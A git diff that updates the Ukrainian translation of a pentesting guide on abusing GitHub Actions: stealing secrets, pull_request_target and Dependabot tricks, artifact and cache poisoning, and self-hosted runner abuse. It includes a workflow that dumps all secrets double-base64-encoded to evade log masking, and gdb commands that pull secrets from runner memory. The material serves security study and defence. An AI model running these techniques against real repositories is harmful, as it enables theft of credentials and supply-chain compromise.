diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index 3a3cd9d27..cf1ff47d5 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -4,37 +4,37 @@ ## Інструменти -The following tools are useful to find Github Action workflows and even find vulnerable ones: +Наступні інструменти корисні для пошуку Github Action workflow-ів і навіть виявлення вразливих: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X) - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) -- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) +- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Також перевірте його checklist на [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) ## Базова інформація На цій сторінці ви знайдете: -- **Огляд усіх наслідків** у разі, якщо нападник отримає доступ до Github Action -- Різні способи **отримати доступ до action**: -- Маючи **permissions** для створення action +- Короткий огляд усіх можливих наслідків, якщо нападник отримає доступ до Github Action +- Різні способи отримати доступ до action: +- Мати **permissions** на створення action - Зловживання тригерами, пов'язаними з **pull request** -- Зловживання **іншими техніками зовнішнього доступу** -- **Pivoting** з уже скомпрометованого репо -- Нарешті, розділ про **post-exploitation techniques to abuse an action from inside** (щоб спричинити згадані наслідки) +- Зловживання іншими техніками зовнішнього доступу +- **Pivoting** з вже скомпрометованого репозиторію +- Нарешті, секція про техніки постексплуатації для зловживання action з середини (щоб викликати описані наслідки) ## Підсумок впливів -For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions). +Для вступу про [**Github Actions check the basic information**](../basic-github-information.md#github-actions). -Якщо ви можете **виконувати довільний код у GitHub Actions** в межах **репозиторію**, ви зможете: +Якщо ви можете **execute arbitrary code in GitHub Actions** в межах **repository**, ви можете: -- **Вкрасти secrets**, змонтовані в pipeline, і **зловживати привілеями pipeline** для отримання несанкціонованого доступу до зовнішніх платформ, таких як AWS і GCP. -- **Компрометувати deployments** та інші **artifacts**. -- Якщо pipeline розгортає або зберігає assets, ви можете змінити кінцевий продукт, що дозволяє провести supply chain attack. -- **Виконувати код у custom workers** для зловживання обчислювальними ресурсами та pivot до інших систем. -- **Перезаписати код репозиторію**, залежно від permissions, пов'язаних із `GITHUB_TOKEN`. +- **Steal secrets** змонтовані в pipeline та **abuse the pipeline's privileges** для отримання несанкціонованого доступу до зовнішніх платформ, таких як AWS та GCP. +- **Compromise deployments** та інші **artifacts**. +- Якщо pipeline деплоїть або зберігає активи, ви можете змінити кінцевий продукт, що дозволяє виконати supply chain attack. +- **Execute code in custom workers** щоб зловживати обчислювальними ресурсами та pivot до інших систем. +- **Overwrite repository code**, залежно від permissions, пов'язаних з `GITHUB_TOKEN`. ## GITHUB_TOKEN @@ -45,14 +45,14 @@ This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.tok This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github має випустити a [**flow**](https://github.com/github/roadmap/issues/74) який **дозволяє доступ між репозиторіями** within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`. +> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`. -You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) +Ви можете переглянути можливі **permissions** цього токена тут: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) Note that the token **expires after the job has completed**.\ These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` -Some interesting things you can do with this token: +Декілька цікавих речей, які можна робити з цим токеном: {{#tabs }} {{#tab name="Merge PR" }} @@ -91,11 +91,11 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!CAUTION] -> Зверніть увагу, що у деяких випадках ви зможете знайти **github user tokens inside Github Actions envs or in the secrets**. Ці токени можуть надати вам більше привілеїв над репозиторієм та організацією. +> Зауважте, що у кількох випадках ви зможете знайти **github user tokens inside Github Actions envs or in the secrets**. Ці токени можуть надати вам більше привілеїв над репозиторієм та організацією.
-List secrets in Github Action output +Перелік secrets у виводі Github Action ```yaml name: list_env on: @@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Отримати reverse shell за допомогою secrets +Отримати reverse shell з secrets ```yaml name: revshell on: @@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-Можна перевірити права, надані Github Token у репозиторіях інших користувачів, **переглянувши логи** Github Actions: +Можна перевірити дозволи, надані Github Token у репозиторіях інших користувачів, **переглянувши логи** Github actions:
## Дозволене виконання > [!NOTE] -> Це був би найпростіший спосіб скомпрометувати Github actions, оскільки в цьому випадку передбачається, що у вас є доступ до **створення нового репозиторію в організації**, або є **права запису в репозиторій**. +> Це був би найпростіший спосіб скомпрометувати Github actions, оскільки в цьому випадку передбачається, що ви маєте доступ для **create a new repo in the organization**, або маєте **write privileges over a repository**. > > Якщо ви в такій ситуації, ви можете просто переглянути [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action). -### Виконання через створення репозиторію +### Виконання при створенні репо -Якщо учасники організації можуть **створювати нові репозиторії** і ви можете запускати Github Actions, ви можете **створити новий репозиторій і викрасти секрети, встановлені на рівні організації**. +Якщо члени організації можуть **create new repos** і ви можете виконувати Github actions, ви можете **create a new repo and steal the secrets set at organization level**. ### Виконання з нової гілки -Якщо ви можете **створити нову гілку в репозиторії, який вже містить налаштований Github Action**, ви можете **змінити** його, **завантажити** вміст, а потім **запустити той action із нової гілки**. Таким чином ви можете **витягти секрети на рівні репозиторію та організації** (але вам потрібно знати їхні імена). +Якщо ви можете **create a new branch in a repository that already contains a Github Action** налаштований, ви можете **modify** його, **upload** контент, а потім **execute that action from the new branch**. Таким чином ви можете **exfiltrate repository and organization level secrets** (але потрібно знати, як вони називаються). > [!WARNING] -> Будь-яке обмеження, реалізоване лише всередині workflow YAML (наприклад, `on: push: branches: [main]`, умовні вирази job або ручні підтвердження) може бути відредаговане співавторами. Без зовнішнього контролю (branch protections, protected environments, and protected tags) контриб'ютор може перенаправити workflow на виконання у своїй гілці та зловживати змонтованими секретами/дозволами. +> Any restriction implemented only inside workflow YAML (for example, `on: push: branches: [main]`, job conditionals, or manual gates) can be edited by collaborators. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions. -Ви можете зробити змінений action виконуваним **вручну,** коли **створюється PR** або коли **певний код пушиться** (залежно від того, наскільки помітними ви хочете бути): +Ви можете зробити змінений action виконуваним **вручну**, коли **створюється PR** або коли **код пушиться** (залежно від того, наскільки шумним ви хочете бути): ```yaml on: workflow_dispatch: # Launch manually @@ -180,49 +180,49 @@ branches: ``` --- -## Forked Execution +## Виконання в форку > [!NOTE] -> Існують різні тригери, які можуть дозволити атакуючому **виконати Github Action з іншого репозиторію**. Якщо ці тригерні дії погано налаштовані, атакуючий може їх скомпрометувати. +> Існують різні тригери, які можуть дозволити нападнику **виконати Github Action іншого репозиторію**. Якщо ці дії, що запускаються тригерами, неправильно налаштовані, нападник може їх скомпрометувати. ### `pull_request` -Тригер workflow **`pull_request`** виконуватиме workflow щоразу, коли надходить pull request, з деякими винятками: за замовчуванням, якщо це **вперше**, коли ви **співпрацюєте**, якийсь **maintainer** має **підтвердити** **запуск** workflow: +Тригер workflow **`pull_request`** буде виконувати workflow щоразу, коли надходить pull request, з деякими винятками: за замовчуванням, якщо це ваш **перший** вклад у проєкт, де ви співпрацюєте, якийсь **maintainer** має **підтвердити** **запуск** workflow:
> [!NOTE] -> Оскільки **обмеження за замовчуванням** застосовується до **нових** контрибуторів, ви можете внести PR, виправивши **дійсну помилку/опечатку**, а потім надсилати **інші PRs, щоб зловживати вашими новими `pull_request` привілеями**. +> Оскільки **обмеження за замовчуванням** стосується **перших** контрибуторів, ви можете внести зміни, виправивши **дійсну помилку/опечатку**, а потім надіслати **інші PR, щоб зловживати новими правами `pull_request`**. > > **Я це тестував і це не працює**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~ -Крім того, за замовчуванням **перешкоджається надання прав запису** та **доступ до secrets** у цільовому репозиторії, як зазначено в [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): +Більше того, за замовчуванням **не надаються права на запис** і **доступ до секретів** для цільового репозиторію, як зазначено в [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): > With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. -Атакуючий може змінити визначення Github Action, щоб виконати довільні дії та додати довільні кроки. Однак через згадані обмеження він не зможе вкрасти секрети або перезаписати репо. +Нападник може змінити визначення Github Action, щоб виконати довільні дії та додати довільні кроки. Проте через згадані обмеження він не зможе вкрасти секрети або перезаписати репозиторій. > [!CAUTION] -> **Так, якщо атакуючий змінить у PR github action, який буде тригеритись, його Github Action буде використано, а не той, що з origin repo!** +> **Так, якщо нападник змінить у PR Github Action, який буде запущений, буде використано його Github Action, а не той із оригінального репозиторію!** -Оскільки атакуючий також контролює код, що виконується, навіть якщо немає доступу до секретів або прав запису в `GITHUB_TOKEN`, атакуючий, наприклад, може **завантажувати шкідливі артефакти**. +Оскільки нападник також контролює код, що виконується, навіть якщо для `GITHUB_TOKEN` немає секретів або прав на запис, нападник наприклад може **upload malicious artifacts**. ### **`pull_request_target`** Тригер workflow **`pull_request_target`** має **права запису** до цільового репозиторію та **доступ до секретів** (і не запитує підтвердження). -Зверніть увагу, що тригер workflow **`pull_request_target`** **виконується в контексті base** і не в тому, який надає PR (щоб **не виконувати недовірений код**). Для додаткової інформації про `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ -Крім того, для детальнішого розгляду цього конкретно небезпечного використання перегляньте цей [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). +Зауважте, що тригер workflow **`pull_request_target`** **запускається в базовому контексті** і не в тому, що надає PR (щоб **не виконувати ненадійний код**). Для додаткової інформації про `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ +Більше інформації про цей конкретно небезпечний випадок дивіться в [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -Може здатися, що оскільки **виконуваний workflow** — це той, що визначений у **base**, а не в PR, то використовувати **`pull_request_target`** **безпечніше**, але є **кілька випадків, коли це неправда**. +Може здатися, що оскільки **виконуваний workflow** визначено в **base**, а **не в PR**, використовувати **`pull_request_target`** безпечно, але є **кілька випадків, коли це не так**. -І цей тригер матиме **доступ до секретів**. +І цей (workflow) матиме **доступ до секретів**. ### `workflow_run` -Тригер [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) дозволяє запускати workflow після завершення іншого workflow, коли він `completed`, `requested` або `in_progress`. +The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`. -У цьому прикладі workflow налаштований на запуск після завершення окремого workflow "Run Tests": +In this example, a workflow is configured to run after the separate "Run Tests" workflow completes: ```yaml on: workflow_run: @@ -232,8 +232,8 @@ types: ``` Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**. -Такий workflow може бути атакований, якщо він **depends** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\ -The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**. +Цей тип workflow може бути атакований, якщо він **залежить** від **workflow**, який може бути **спровокований** зовнішнім користувачем через **`pull_request`** або **`pull_request_target`**. Декілька вразливих прикладів можна [**знайти в цьому блозі**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Перший приклад полягає в тому, що workflow, запущений через **`workflow_run`**, завантажує код атакуючого: `${{ github.event.pull_request.head.sha }}`\ +Другий приклад полягає в **передачі** **artifact** з **недовіреного** коду в **`workflow_run`** workflow і використанні вмісту цього artifact таким чином, що це робить його **вразливим до RCE**. ### `workflow_call` @@ -241,15 +241,15 @@ TODO TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR -## Зловживання виконанням з форка +## Зловживання виконанням з форків -Ми вже перелічили всі способи, якими зовнішній атакуючий може змусити github workflow виконатися, тепер подивімося, як такі виконання, якщо вони неправильно налаштовані, можуть бути використані зловмисником: +Ми вже згадували всі способи, якими зовнішній атакуючий може змусити github workflow виконатися, тепер подивімося, як ці виконання, при неправильній конфігурації, можуть бути зловживані: -### Untrusted checkout execution +### Виконання checkout з ненадійного джерела -У випадку з **`pull_request`** workflow буде виконуватися в **контексті PR** (тобто виконуватиметься **шкідливий код PR**), але хтось повинен його **авторизувати спочатку**, і воно виконуватиметься з певними [обмеженнями](#pull_request). +У випадку **`pull_request`** workflow буде виконано в **контексті PR** (тому він виконуватиме **шкідливий код PR**), проте хтось має його **спочатку авторизувати**, і воно запуститься з певними [обмеженнями](#pull_request). -У випадку workflow, що використовує **`pull_request_target` or `workflow_run`**, який залежить від workflow, що може бути triggered from **`pull_request_target` or `pull_request`**, код з оригінального репозиторію буде виконаний, тож **атакуючий не зможе контролювати виконуваний код**. +У випадку workflow, що використовує **`pull_request_target` or `workflow_run`**, який залежить від workflow, що може бути запущений з **`pull_request_target` or `pull_request`**, буде виконано код з оригінального репозиторію, тож **зловмисник не може контролювати виконуваний код**. > [!CAUTION] > However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded): @@ -282,14 +282,14 @@ message: | Thank you! -Потенційно **небезпечний код виконується під час `npm install` або `npm build`**, оскільки build-скрипти та залежні пакети контролюються автором PR. +Потенційно **ненадійний код виконується під час `npm install` або `npm build`**, оскільки build-скрипти та залежні **пакети контролює автор PR**. > [!WARNING] > A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR). ### Context Script Injections -Зверніть увагу, що існують певні [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context), значення яких **контролюються** користувачем, що створює PR. Якщо github action використовує ці **дані для виконання чого-небудь**, це може призвести до **виконання довільного коду:** +Зауважте, що існують певні [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context), значення яких **контролюються** користувачем, що створює PR. Якщо github action використовує ці **дані для виконання будь-чого**, це може призвести до **виконання довільного коду:** {{#ref}} gh-actions-context-script-injections.md @@ -297,17 +297,17 @@ gh-actions-context-script-injections.md ### **GITHUB_ENV Script Injection** -Згідно з документацією: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file. +Згідно з документацією: Ви можете зробити змінну середовища доступною для будь-яких наступних кроків у job, визначивши або оновивши змінну середовища і записавши це у файл середовища **`GITHUB_ENV`**. -Якщо атакуючий може **інжектувати будь-яке значення** у цю змінну середовища, він може додати змінні середовища, які спричинять виконання коду в наступних кроках, наприклад **LD_PRELOAD** або **NODE_OPTIONS**. +Якщо зловмисник зможе **впровадити будь-яке значення** в цю змінну середовища, він може впровадити змінні середовища, які дозволять виконувати код у наступних кроках, наприклад **LD_PRELOAD** або **NODE_OPTIONS**. -Наприклад ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), уявіть workflow, який довіряє завантаженому artifact і зберігає його вміст у **`GITHUB_ENV`** env variable. Атакуючий міг би завантажити щось на кшталт цього, щоб скомпрометувати його: +Наприклад ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), уявіть workflow, що довіряє завантаженому artifact і зберігає його вміст у змінну середовища **`GITHUB_ENV`**. Зловмисник може завантажити щось подібне, щоб скомпрометувати його:
### Dependabot and other trusted bots -As indicated in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), several organizations have a Github Action that merges any PRR from `dependabot[bot]` like in: +Як зазначено в [**цьому блозі**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), кілька організацій мають Github Action, який зливає будь-який PR від `dependabot[bot]`, як у: ```yaml on: pull_request_target jobs: @@ -317,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: gh pr merge $ -d -m ``` -Що є проблемою, тому що поле `github.actor` містить користувача, який спричинив останню подію, що запустила workflow. І існує кілька способів змусити користувача `dependabot[bot]` модифікувати PR. Наприклад: +Це проблема, тому що поле `github.actor` містить користувача, який спричинив останню подію, що запустила workflow. Існує кілька способів змусити користувача `dependabot[bot]` змінити PR. Наприклад: -- Форкніть репозиторій жертви -- Додайте шкідливий payload до вашої копії -- Увімкніть Dependabot у вашому форку, додавши застарілу залежність. Dependabot створить гілку, яка виправляє залежність і містить шкідливий код. -- Відкрийте Pull Request до репозиторію жертви з тієї гілки (PR буде створено користувачем, тож поки нічого не станеться) -- Потім атакуючий повертається до початкового PR, який Dependabot відкрив у його форку, і виконує `@dependabot recreate` -- Потім Dependabot виконує деякі дії в тій гілці, які модифікують PR у репозиторії жертви, що робить `dependabot[bot]` актором останньої події, яка запустила workflow (і отже, workflow виконується). +- Fork the victim repository +- Add the malicious payload to your copy +- Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code. +- Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet) +- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs `@dependabot recreate` +- Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes `dependabot[bot]` the actor of the latest event that triggered the workflow (and therefore, the workflow runs). -Далі, що якби замість злиття Github Action мав command injection, як у: +Moving on, what if instead of merging the Github Action would have a command injection like in: ```yaml on: pull_request_target jobs: @@ -336,22 +336,22 @@ if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: echo ${ { github.event.pull_request.head.ref }} ``` -Отже, оригінальний блогпост пропонує два варіанти зловживання цією поведінкою, де другим є: +Well, the original blogpost proposes two options to abuse this behavior being the second one: -- Форкніть репозиторій жертви та увімкніть Dependabot з якоюсь застарілою залежністю. -- Створіть нову гілку зі шкідливим shell injeciton кодом. -- Змініть гілку за замовчуванням репо на ту гілку. -- Створіть PR з цієї гілки до репозиторію жертви. -- Запустіть `@dependabot merge` в PR, який Dependabot відкрив у його форку. -- Dependabot зіллє його зміни в гілку за замовчуванням вашого форкнутого репозиторію, оновивши PR в репозиторії жертви, зробивши тепер `dependabot[bot]` актором останньої події, що запустила workflow, і використовуючи шкідливу назву гілки. +- Fork the victim repository and enable Dependabot with some outdated dependency. +- Create a new branch with the malicious shell injeciton code. +- Change the default branch of the repo to that one +- Create a PR from this branch to the victim repository. +- Run `@dependabot merge` in the PR Dependabot opened in his fork. +- Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the `dependabot[bot]` the actor of the latest event that triggered the workflow and using a malicious branch name. ### Уразливі сторонні Github Actions #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) -Як зазначено в [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), цей Github Action дозволяє отримувати доступ до artifacts з різних workflows і навіть repositories. +As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories. -Проблема в тому, що якщо параметр **`path`** не задано, артефакт розпаковується в поточний каталог і може перезаписати файли, які потім можуть бути використані або навіть виконані у workflow. Тому, якщо Artifact уразливий, атакуючий може зловживати цим, щоб скомпрометувати інші workflows, що довіряють цьому Artifact. +The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact. Example of vulnerable workflow: ```yaml @@ -397,23 +397,23 @@ path: ./script.py ### Deleted Namespace Repo Hijacking -Якщо account змінює своє ім'я, інший користувач може зареєструвати account з цим іменем згодом. Якщо repository мав **less than 100 stars previously to the change of name**, Github дозволить новому зареєстрованому користувачу з тим самим ім'ям створити **repository with the same name** як той, що був видалений. +Якщо обліковий запис змінює свою назву, інший користувач може зареєструвати обліковий запис з тією ж назвою через деякий час. Якщо repository мав **менше ніж 100 stars перед зміною назви**, Github дозволить новому зареєстрованому користувачу з тією ж назвою створити **repository with the same name**, як той, що було видалено. > [!CAUTION] -> Тому, якщо action використовує repo з неіснуючого account, все ще можливо, що зловмисник зможе створити цей account і compromise action. +> Отже, якщо action використовує repo з неіснуючого акаунта, все ще можливо, що attacker може створити цей акаунт і compromise the action. -Якщо інші repositories використовували **dependencies from this user repos**, зловмисник зможе hijack їх. Детальніше: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +Якщо інші repositories використовували **dependencies from this user repos**, attacker зможе їх перехопити. Тут більш повне пояснення: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- ## Repo Pivoting > [!NOTE] -> У цьому розділі ми поговоримо про техніки, які дозволяють **pivot from one repo to another**, припускаючи, що ми маємо певний доступ до першого (див. попередній розділ). +> У цьому розділі ми поговоримо про техніки, які дозволяють **pivot from one repo to another**, за умови, що ми маємо певний доступ до першого (див. попередній розділ). ### Cache Poisoning -Між workflow runs в тій самій branch підтримується cache. Це означає, що якщо зловмисник compromise package, який потім зберігається в cache і потім downloaded та виконується більш привілейованим workflow, він також зможе compromise і цей workflow. +Між запускaми workflow в одному й тому ж branch зберігається cache. Це означає, що якщо attacker compromise package, який потім зберігається в cache і буде downloaded та виконаний більш привілейованим workflow, то він зможе також compromise цей workflow. {{#ref}} gh-actions-cache-poisoning.md @@ -421,7 +421,7 @@ gh-actions-cache-poisoning.md ### Artifact Poisoning -Workflows можуть використовувати **artifacts from other workflows and even repos** — якщо зловмиснику вдасться compromise Github Action, яка **uploads an artifact**, який пізніше використовується іншим workflow, він зможе compromise й інші workflows: +Workflows можуть використовувати **artifacts from other workflows and even repos**; якщо attacker вдасться compromise Github Action, що **uploads an artifact**, який пізніше використовується іншим workflow, то він зможе **compromise the other workflows**: {{#ref}} gh-actions-artifact-poisoning.md @@ -433,7 +433,7 @@ gh-actions-artifact-poisoning.md ### Github Action Policies Bypass -Як зазначено в [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), навіть якщо repository або organization має політику, що обмежує використання певних actions, зловмисник може просто download (`git clone`) action всередині workflow і потім посилатися на нього як на local action. Оскільки політики не впливають на local paths, **the action will be executed without any restriction.** +Як згадано в [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), навіть якщо repository або organization має політику, що обмежує використання певних actions, attacker може просто download (`git clone`) action всередині workflow, а потім посилатися на нього як на local action. Оскільки політики не зачіпають local paths, **the action will be executed without any restriction.** Example: ```yaml @@ -456,27 +456,31 @@ path: gha-hazmat - run: ls tmp/checkout ``` -### Доступ до AWS і GCP через OIDC +### Доступ до AWS, Azure та GCP через OIDC -Перегляньте наступні сторінки: +Перевірте наступні сторінки: {{#ref}} ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} +{{#ref}} +../../../pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md +{{#endref}} + {{#ref}} ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}} ### Доступ до secrets -Якщо ви вставляєте вміст у скрипт, корисно знати, як можна отримати доступ до secrets: +Якщо ви вставляєте контент у скрипт, корисно знати, як отримати доступ до secrets: -- Якщо secret або token встановлено як **environment variable**, їх можна безпосередньо отримати через середовище за допомогою **`printenv`**. +- Якщо secret або token встановлено як **environment variable**, його можна безпосередньо отримати через середовище, використовуючи **`printenv`**.
-Перелічити secrets у виводі Github Action +Переглянути secrets у виводі Github Action ```yaml name: list_env on: @@ -503,7 +507,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Отримати reverse shell за допомогою секретів +Отримати reverse shell з secrets ```yaml name: revshell on: @@ -526,15 +530,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-- Якщо секрет використовується **безпосередньо в виразі**, згенерований shell-скрипт зберігається **на диску** і доступний. +- Якщо secret використовується **безпосередньо в виразі**, згенерований shell-скрипт зберігається **на диску** і є доступним. - ```bash cat /home/runner/work/_temp/* ``` -- Для JavaScript actions секрети передаються через environment variables +- Для JavaScript actions secrets передаються через змінні оточення - ```bash ps axe | grep node ``` -- Для **custom action** ризик може варіюватися залежно від того, як програма використовує секрет, отриманий з **argument**: +- Для **custom action** ризик може варіюватися в залежності від того, як програма використовує secret, отриманий з **argument**: ```yaml uses: fakeaction/publish@v3 @@ -542,7 +546,7 @@ with: key: ${{ secrets.PUBLISH_KEY }} ``` -- Перелічіть всі secrets через secrets context (рівень collaborator). Контриб'ютор з правами запису може змінити workflow у будь-якій гілці, щоб вивантажити всі repository/org/environment secrets. Використовуйте подвійне base64, щоб обійти маскування логів GitHub та декодувати локально: +- Перелічіть всі secrets через secrets context (рівень collaborator). Учасник з write-доступом може змінити workflow в будь-якій гілці, щоб вивантажити всі repository/org/environment secrets. Використайте подвійне base64, щоб обійти маскування логів GitHub і декодуйте локально: ```yaml name: Steal secrets @@ -558,31 +562,31 @@ run: | echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0 ``` -Розкодувати локально: +Декодувати локально: ```bash echo "ZXdv...Zz09" | base64 -d | base64 -d ``` -Порада: для прихованості під час тестування шифруйте перед виводом (openssl попередньо встановлено на GitHub-hosted runners). +Порада: для прихованості під час тестування шифруйте перед виводом (openssl попередньо встановлений на GitHub-hosted runners). -### Зловживання Self-hosted runners +### Abusing Self-hosted runners -Щоб знайти, які **Github Actions виконуються в інфраструктурі поза GitHub**, шукайте **`runs-on: self-hosted`** у конфігураційному yaml Github Action. +Щоб знайти, які **Github Actions are being executed in non-github infrastructure**, шукайте **`runs-on: self-hosted`** у конфігураційному yaml для Github Action. -**Self-hosted** ранери можуть мати доступ до **додаткової чутливої інформації**, інших **мережевих систем** (вразливі endpoints у мережі? metadata service?) або, навіть якщо вони ізольовані і видалені, **декілька action-ів можуть виконуватися одночасно**, і зловмисний може **вкрасти secrets** іншого. +**Self-hosted** runners можуть мати доступ до **extra sensitive information**, до інших **network systems** (вразливі endpoints в мережі? metadata service?) або, навіть якщо вони ізольовані і будуть знищені, **кілька action-ів можуть виконуватись одночасно**, і зловмисний може **steal the secrets** іншого. -У self-hosted ранерах також можливо отримати **secrets from the \_Runner.Listener**\_\*\* process\*\*, який міститиме всі secrets workflow-ів на будь-якому кроці шляхом дампу його пам'яті: +У self-hosted runners також можливо отримати the **secrets from the \_Runner.Listener**\_\*\* process\*\* який міститиме усі secrets workflow-ів на будь-якому кроці шляхом дампу його пам'яті: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` -Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). +Перегляньте [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). -### Github Docker Images Registry +### Реєстр Docker-образів Github -Можна створити Github actions, які **будуть збирати та зберігати Docker image всередині Github**.\ -Приклад можна знайти в наступному розкривному блоці: +Можна створити Github actions, які **збудують і збережуть Docker-образ всередині Github**.\ +Приклад можна знайти в наступному розгортному блоці:
@@ -617,9 +621,9 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e ```
